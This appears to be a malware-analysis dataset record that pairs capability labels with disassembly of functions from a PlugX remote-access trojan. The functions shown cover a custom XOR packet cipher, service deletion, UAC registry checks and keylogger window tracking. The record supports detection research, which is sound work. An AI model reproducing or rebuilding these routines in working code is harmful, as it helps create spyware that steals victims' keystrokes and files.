joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10006550
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push edi
push 0
push 0
push 3
push 0
push 1
push bind
push dword [ebp + 8]
mov ebx, ecx
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x10006588
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop edi
pop ebx
mov esp, ebp
pop ebp
ret 4
push esi
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
cmp esi, 0xffffffff
jne 0x100065a8
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov edx, 0x71
jmp 0x100065ee
push esi
mov ecx, ebx
call fcn.100064b0
mov ebx, eax
push 0
test ebx, ebx
je 0x100065bf
mov edx, 0x76
jmp 0x100065f0
lea eax, [ebp + 8]
push eax
mov eax, dword [ebp - 4]
push esi
push dword [eax + 4]
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x100065e4
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov edx, 0x7b
jmp 0x100065ee
cmp esi, dword [ebp + 8]
je 0x100065fd
mov edx, 0x7e
push 0
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXBuffer.cpp
call fcn.10024152
add esp, 4
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
test eax, eax
jne 0x1000661c
push eax
mov edx, 0x84
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXBuffer.cpp
call fcn.10024152
add esp, 4
pop edi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x10006630
Capabilities:
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 8]
xor ebx, ebx
push edi
push 0x80
push esi
mov edi, ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push ebx
push ebx
push 2
push ebx
push 1
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x10006670
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop edi
pop esi
pop ebx
pop ebp
ret 4
push 0
lea eax, [ebp + 8]
push eax
push dword [edi]
push dword [edi + 4]
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x10006695
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov edx, 0x9d
jmp 0x100066a1
mov eax, dword [ebp + 8]
cmp eax, dword [edi]
je 0x100066b0
mov edx, 0xa0
push 0
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXBuffer.cpp
call fcn.10024152
add esp, 4
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x100066ce
push eax
mov edx, 0xa6
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXBuffer.cpp
call fcn.10024152
add esp, 4
pop edi
pop esi
mov eax, ebx
pop ebx
pop ebp
ret 4
Function at 0x10006f30
Capabilities:
Accept command line arguments
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x130
cmp dword [0x1002d3d8], 0
jne 0x10006f66
push 0x1994
call fcn.1002422e
add esp, 4
test eax, eax
je 0x10006f5f
mov dword [eax + 0x1990], 0
jmp 0x10006f61
xor eax, eax
mov dword [0x1002d3d8], eax
cmp dword [0x1002fa50], 0
je 0x10006f86
push 0x200000
push str.DEMO...
push str.THIS_IS_A_DEMO_VERSION___
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
lea eax, [ebp - 0x130]
mov dword [ebp - 0x130], 0x11c
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
jne 0x10006fbc
push eax
lea edx, [eax + 0x20]
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXInstall.cpp
call fcn.10024152
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x12c]
cmp eax, 5
je 0x10006fe9
cmp eax, 6
je 0x10006fe9
push 0
mov edx, 0x26
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXInstall.cpp
call fcn.10024152
add esp, 4
mov eax, 0x32
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 4]
call fcn.1001b6b0
test eax, eax
jne 0x10006ffe
cmp dword [ebp - 4], eax
je 0x10007114
lea ecx, [ebp - 4]
call fcn.1001b810
test eax, eax
jne 0x1000711d
cmp dword [ebp - 4], eax
je 0x1000711d
cmp dword [ebp - 0x12c], 6
jne 0x10007114
lea ecx, [ebp - 4]
call fcn.1001b980
mov ecx, dword [ebp - 4]
test eax, eax
mov edx, 1
cmovne ecx, edx
cmp dword [ebp - 0x12c], 6
jne 0x10007114
test ecx, ecx
je 0x10007114
lea eax, [ebp - 0xc]
mov edx, str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
push eax
push 4
lea eax, [ebp - 4]
mov ecx, reloc.ODBC32.dll_SQLAllocEnv
push eax
push str.EnableLUA
call fcn.1001ba20
add esp, 0x10
test eax, eax
je 0x1000707a
mov dword [ebp - 4], 1
lea eax, [ebp - 0xc]
mov edx, str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
push eax
push 4
lea eax, [ebp - 8]
mov ecx, reloc.ODBC32.dll_SQLAllocEnv
push eax
push str.ConsentPromptBehaviorAdmin
call fcn.1001ba20
add esp, 0x10
test eax, eax
mov eax, 5
jne 0x100070a7
mov eax, dword [ebp - 8]
cmp dword [ebp - 4], 0
je 0x100070b2
cmp eax, 2
je 0x1000711d
cmp dword [0x1003107c], 0
mov dword [ebp - 4], 0
jne 0x100070e2
push str.IsWow64Process
push str.kernel32
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x1003107c], eax
test eax, eax
je 0x100070fc
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [0x1003107c]
test eax, eax
jne 0x100070fc
mov dword [ebp - 4], eax
jmp 0x100070ff
mov eax, dword [ebp - 4]
test eax, eax
jne 0x1000711d
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov ecx, eax
call fcn.10008640
mov esp, ebp
pop ebp
ret
call fcn.10007130
mov esp, ebp
pop ebp
ret
call fcn.10007520
mov esp, ebp
pop ebp
ret
Function at 0x10008340
Capabilities:
Delete service
Query service status

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
push esi
push 0xf003f
xor esi, esi
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov ebx, eax
test ebx, ebx
jne 0x1000837c
push eax
mov edx, 0x200
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXInstall.cpp
call fcn.10024152
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp dword [0x1002d3d8], esi
jne 0x100083a4
push 0x1994
call fcn.1002422e
add esp, 4
test eax, eax
je 0x1000839d
mov dword [eax + 0x1990], esi
jmp 0x1000839f
xor eax, eax
mov dword [0x1002d3d8], eax
push edi
push 0xf01ff
push 0x10030554
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov edi, eax
test edi, edi
jne 0x100083f5
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
cmp esi, 0x424
jne 0x100083d9
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor esi, esi
jmp 0x1000847b
push 0
mov edx, 0x20d
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXInstall.cpp
call fcn.10024152
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x10008478
lea eax, [ebp - 4]
push eax
push 0x24
lea eax, [ebp - 0x28]
push eax
push 0
push edi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
jne 0x10008413
mov edx, 0x21a
jmp 0x10008444
cmp dword [ebp - 0x24], 1
je 0x10008434
push 0
mov edx, 0x21f
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXInstall.cpp
call fcn.10024152
add esp, 4
mov esi, 0xaa
jmp 0x1000845b
push edi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
test eax, eax
jne 0x1000845b
mov edx, 0x224
push 0
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXInstall.cpp
call fcn.10024152
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call edi
test eax, eax
jne 0x1000847b
push eax
mov edx, 0x22d
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXInstall.cpp
call fcn.10024152
add esp, 4
push ebx
call edi
pop edi
test eax, eax
jne 0x10008496
push eax
mov edx, 0x235
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXInstall.cpp
call fcn.10024152
add esp, 4
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000bf50
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x14], ecx
push esi
mov eax, dword [eax + 4]
xor esi, esi
mov dword [ebp - 0xc], eax
push edi
mov eax, dword [eax]
mov ecx, eax
mov dword [ebp - 0x10], eax
mov edx, eax
mov ebx, eax
mov dword [ebp - 4], eax
lea eax, [ebp - 0x28]
mov dword [ebp - 8], ecx
sub dword [ebp - 0xc], eax
mov edi, dword [ebp - 0xc]
mov eax, edx
shl ecx, 7
shr eax, 3
add eax, 0xeeeeeeef
add edx, eax
mov eax, ebx
shr eax, 5
add eax, 0xddddddde
add ebx, eax
mov eax, 0x33333333
sub eax, ecx
mov ecx, dword [ebp - 4]
add dword [ebp - 8], eax
mov eax, 0x44444444
shl ecx, 9
sub eax, ecx
lea ecx, [ebp - 0x28]
add dword [ebp - 4], eax
add ecx, esi
lea eax, [ebx + edx]
inc esi
add al, byte [ebp - 8]
add al, byte [ebp - 4]
xor al, byte [edi + ecx]
mov byte [ecx], al
mov ecx, dword [ebp - 8]
cmp esi, 0x11
jl 0x1000bf81
mov esi, dword [ebp - 0x10]
mov edi, 0
cmp esi, dword [ebp - 0x24]
je 0x1000bfe7
lea edx, [edi + 0x64]
jmp 0x1000c0b0
mov ebx, dword [ebp - 0x1c]
lea eax, [ebx + 0x12]
push eax
call fcn.10027bda
mov edi, eax
add esp, 4
test edi, edi
jne 0x1000c01d
push eax
lea edx, [eax + 0x40]
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXBuffer.cpp
call fcn.10024152
push edi
lea edx, [edi + 0x6b]
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPacket.cpp
call fcn.10024152
add esp, 8
jmp 0x1000c024
mov word [edi + ebx + 0x10], 0
mov eax, dword [ebp + 8]
push esi
push edi
push dword [eax]
push dword [eax + 4]
call fcn.1000c670
mov esi, eax
test esi, esi
je 0x1000c04e
mov edx, 0x72
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPacket.cpp
push eax
call fcn.10024152
add esp, 4
jmp 0x1000c0c7
mov ebx, dword [ebp - 0x20]
mov esi, dword [ebp + 0xc]
mov ecx, esi
push ebx
call fcn.100064b0
test eax, eax
je 0x1000c074
push 0
mov edx, 0x77
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPacket.cpp
call fcn.10024152
add esp, 4
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x10]
push eax
push ebx
push dword [esi + 4]
lea eax, [edi + 0x10]
push dword [edi + 0xc]
push eax
call fcn.1000c5a0
mov esi, eax
test esi, esi
je 0x1000c0a6
mov edx, 0x7e
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPacket.cpp
push eax
call fcn.10024152
add esp, 4
jmp 0x1000c0c7
cmp ebx, dword [ebp - 0x10]
je 0x1000c0c5
mov edx, 0x83
xor eax, eax
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPacket.cpp
push eax
lea esi, [eax + 0xd]
call fcn.10024152
add esp, 4
jmp 0x1000c0c7
xor esi, esi
test edi, edi
je 0x1000c0d6
push 1
push edi
call fcn.10027bcc
add esp, 8
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x1000c4c0
Capabilities:
Compress data via winapi

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 8]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [esi]
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 4], eax
mov eax, dword [0x10030fa8]
test eax, eax
jne 0x1000c50c
mov eax, dword [0x10030fac]
test eax, eax
jne 0x1000c4fb
push str.ntdll
call esi
mov dword [0x10030fac], eax
push str.RtlCompressBuffer
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x10030fa8], eax
push dword [ebp - 4]
push dword [ebp + 0x18]
push 0
push 0xf000
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push 2
call eax
mov dword [ebp + 0x18], eax
test eax, eax
jns 0x1000c588
push 0
mov edx, 0x13f
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPacket.cpp
call fcn.10024152
mov eax, dword [0x10030fa4]
add esp, 4
test eax, eax
jne 0x1000c570
mov eax, dword [0x10030fac]
test eax, eax
jne 0x1000c55f
push str.ntdll
call esi
mov dword [0x10030fac], eax
push str.RtlNtStatusToDosError
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x10030fa4], eax
push dword [ebp + 0x18]
call eax
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x14
push ebx
xor esi, esi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x14

Function at 0x1000c5a0
Capabilities:
Compress data via winapi

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
lea ebx, [ecx + 8]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [0x10030fa0]
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
jne 0x1000c5e4
mov eax, dword [0x10030fac]
test eax, eax
jne 0x1000c5d3
push str.ntdll
call esi
mov dword [0x10030fac], eax
push str.RtlDecompressBuffer
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x10030fa0], eax
push dword [ebp + 0x18]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push 2
call eax
mov dword [ebp + 0x18], eax
test eax, eax
jns 0x1000c657
push 0
mov edx, 0x14d
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPacket.cpp
call fcn.10024152
mov eax, dword [0x10030fa4]
add esp, 4
test eax, eax
jne 0x1000c641
mov eax, dword [0x10030fac]
test eax, eax
jne 0x1000c630
push str.ntdll
call esi
mov dword [0x10030fac], eax
push str.RtlNtStatusToDosError
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x10030fa4], eax
push dword [ebp + 0x18]
call eax
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, esi
pop esi
pop ebx
pop ebp
ret 0x14
push ebx
xor esi, esi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, esi
pop esi
pop ebx
pop ebp
ret 0x14
Function at 0x1000c670
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
mov edx, dword [ebp + 0x14]
mov ecx, edx
push ebx
push edi
mov edi, dword [ebp + 0xc]
mov ebx, edx
mov dword [ebp - 4], ecx
mov dword [ebp + 0x14], edx
test edi, edi
jle 0x1000c6e7
push esi
mov esi, dword [ebp + 0x10]
sub dword [ebp + 8], esi
mov eax, edx
shl ecx, 7
shr eax, 3
lea esi, [esi + 1]
add eax, 0xeeeeeeef
add edx, eax
mov eax, ebx
shr eax, 5
add eax, 0xddddddde
add ebx, eax
mov eax, 0x33333333
sub eax, ecx
mov ecx, dword [ebp + 0x14]
add dword [ebp - 4], eax
mov eax, 0x44444444
shl ecx, 9
sub eax, ecx
mov ecx, dword [ebp - 4]
add dword [ebp + 0x14], eax
lea eax, [ebx + edx]
add al, cl
mov ecx, dword [ebp + 8]
add al, byte [ebp + 0x14]
xor al, byte [ecx + esi - 1]
mov ecx, dword [ebp - 4]
mov byte [esi - 1], al
sub edi, 1
jne 0x1000c691
pop esi
pop edi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10
Function at 0x1000e730
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
cmp dword [0x10030fb4], 0
push esi
jne 0x1000e7d4
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
lea eax, [ebp - 0x40]
push str.PI__8.8X_
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x40]
push eax
push 0
push 4
call dword [sym.imp.KERNEL32.dll_OpenFileMappingW]
mov esi, eax
push 0
test esi, esi
jne 0x1000e78a
lea edx, [eax + 0x20]
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugDisk.cpp
call fcn.10024152
add esp, 4
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
push 0
push 0
push 4
push esi
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [0x10030fb4], eax
test eax, eax
jne 0x1000e7b8
push eax
lea edx, [eax + 0x25]
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugDisk.cpp
call fcn.10024152
add esp, 4
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x1000e7d4
push eax
lea edx, [eax + 0x2a]
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugDisk.cpp
call fcn.10024152
add esp, 4
mov eax, dword [0x10030fb4]
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1000fc60
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x270
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenW]
mov eax, ecx
push edi
push eax
mov edi, edx
mov dword [ebp - 0x18], eax
call esi
mov ebx, eax
add ebx, ebx
lea eax, [ebx + 2]
push eax
call fcn.10027bda
add esp, 4
mov dword [ebp - 0x10], eax
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x14], 0
test eax, eax
jne 0x1000fcb5
push eax
lea edx, [eax + 0x40]
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXBuffer.cpp
call fcn.10024152
add esp, 4
xor ebx, ebx
jmp 0x1000fccc
mov edx, dword [ebp - 0x18]
mov ecx, eax
push ebx
mov dword [ebp - 0x14], ebx
mov word [ebx + eax], 0
call fcn.1002427e
add esp, 4
movzx ecx, word [edi]
mov eax, ebx
cdq
sub eax, edx
mov edx, dword [ebp - 0x10]
sar eax, 1
cmp word [edx + eax*2 - 2], 0x5c
jne 0x1000fcec
cmp ecx, 0x5c
jne 0x1000fd18
lea eax, [edi + 2]
push eax
jmp 0x1000fd19
cmp ecx, 0x5c
je 0x1000fd18
push 2
push 0x10028918
lea ecx, [ebp - 0x14]
call fcn.100066e0
test eax, eax
je 0x1000fd18
push 0
mov edx, 0xfc
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXBuffer.cpp
call fcn.10024152
add esp, 4
push edi
call esi
add eax, eax
lea ecx, [ebp - 0x14]
push eax
push edi
call fcn.100066e0
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 8]
cdq
sub eax, edx
sar eax, 1
cmp word [ecx + eax*2 - 2], 0x5c
je 0x1000fd61
push 2
push 0x10028918
lea ecx, [ebp - 0x14]
call fcn.100066e0
test eax, eax
je 0x1000fd61
push 0
mov edx, 0xfc
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXBuffer.cpp
call fcn.10024152
add esp, 4
push 0x1002927c
call esi
add eax, eax
lea ecx, [ebp - 0x14]
push eax
push 0x1002927c
call fcn.100066e0
mov ebx, dword [ebp - 0x10]
lea eax, [ebp - 0x26c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x1000fe06
mov ecx, dword [ebp + 8]
mov edi, dword [sym.imp.KERNEL32.dll_FindNextFileW]
mov dword [ecx], 0
nop
cmp word [ebp - 0x240], 0x2e
jne 0x1000fdc6
mov ax, word [ebp - 0x23e]
test ax, ax
je 0x1000fdcf
cmp ax, 0x2e
jne 0x1000fdc6
cmp word [ebp - 0x23c], 0
je 0x1000fdcf
test byte [ebp - 0x26c], 0x10
jne 0x1000fddf
lea eax, [ebp - 0x26c]
push eax
push esi
call edi
test eax, eax
jne 0x1000fda0
jmp 0x1000fde8
mov eax, dword [ebp + 8]
mov dword [eax], 1
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
test eax, eax
jne 0x1000fe06
push eax
mov edx, 0x3c6
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugDisk.cpp
call fcn.10024152
add esp, 4
test ebx, ebx
je 0x1000fe15
push 1
push ebx
call fcn.10027bcc
add esp, 8
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000fe20
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
cmp dword [0x10030fc0], 0
push esi
jne 0x1000fec4
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
lea eax, [ebp - 0x40]
push str.PI__8.8X_
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x40]
push eax
push 0
push 4
call dword [sym.imp.KERNEL32.dll_OpenFileMappingW]
mov esi, eax
push 0
test esi, esi
jne 0x1000fe7a
lea edx, [eax + 0x2f]
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugKeyLogger.cpp
call fcn.10024152
add esp, 4
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
push 0
push 0
push 4
push esi
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [0x10030fc0], eax
test eax, eax
jne 0x1000fea8
push eax
lea edx, [eax + 0x34]
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugKeyLogger.cpp
call fcn.10024152
add esp, 4
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x1000fec4
push eax
lea edx, [eax + 0x39]
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugKeyLogger.cpp
call fcn.10024152
add esp, 4
mov eax, dword [0x10030fc0]
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10010550
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
push esi
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov esi, eax
mov eax, dword [0x1002d3f8]
cmp dword [0x1002d3fc], esi
jne 0x1001057a
cmp eax, 0x1f0
jb 0x1001066e
xor ecx, ecx
mov dword [0x1002d3fc], esi
mov word [eax*2 + 0x1002f400], cx
test eax, eax
je 0x100105b1
sub esp, 8
call fcn.10010680
add esp, 8
test eax, eax
je 0x100105b1
push 0
mov edx, 0x1c1
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXPlugKeyLogger.cpp
call fcn.10024152
add esp, 4
push 0x200
push 0x1002f800
push esi
mov dword [0x1002d3f8], 0
call dword [sym.imp.USER32.dll_GetWindowTextW]
test eax, eax
jne 0x100105d6
mov word [0x1002f800], ax
push 0x200
push 0x1002f600
push esi
call dword [sym.imp.USER32.dll_GetClassNameW]
test eax, eax
jne 0x100105f1
mov word [0x1002f600], ax
lea eax, [esp + 4]
push eax
push esi
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
test eax, eax
jne 0x1001060c
mov word [0x1002d400], ax
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, dword [esp + 4]
lea edx, [esp + 8]
mov dword [esp + 0xc], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 8], 0
call fcn.1001bf00
test eax, eax
je 0x10010647
xor eax, eax
mov word [0x1002d400], ax
jmp 0x1001065b
push 0x2000
push dword [esp + 0x18]
push 0x1002d400
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
mov eax, dword [esp + 0xc]
test eax, eax
je 0x1001066e
push 1
push eax
call fcn.10027bcc
add esp, 8
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret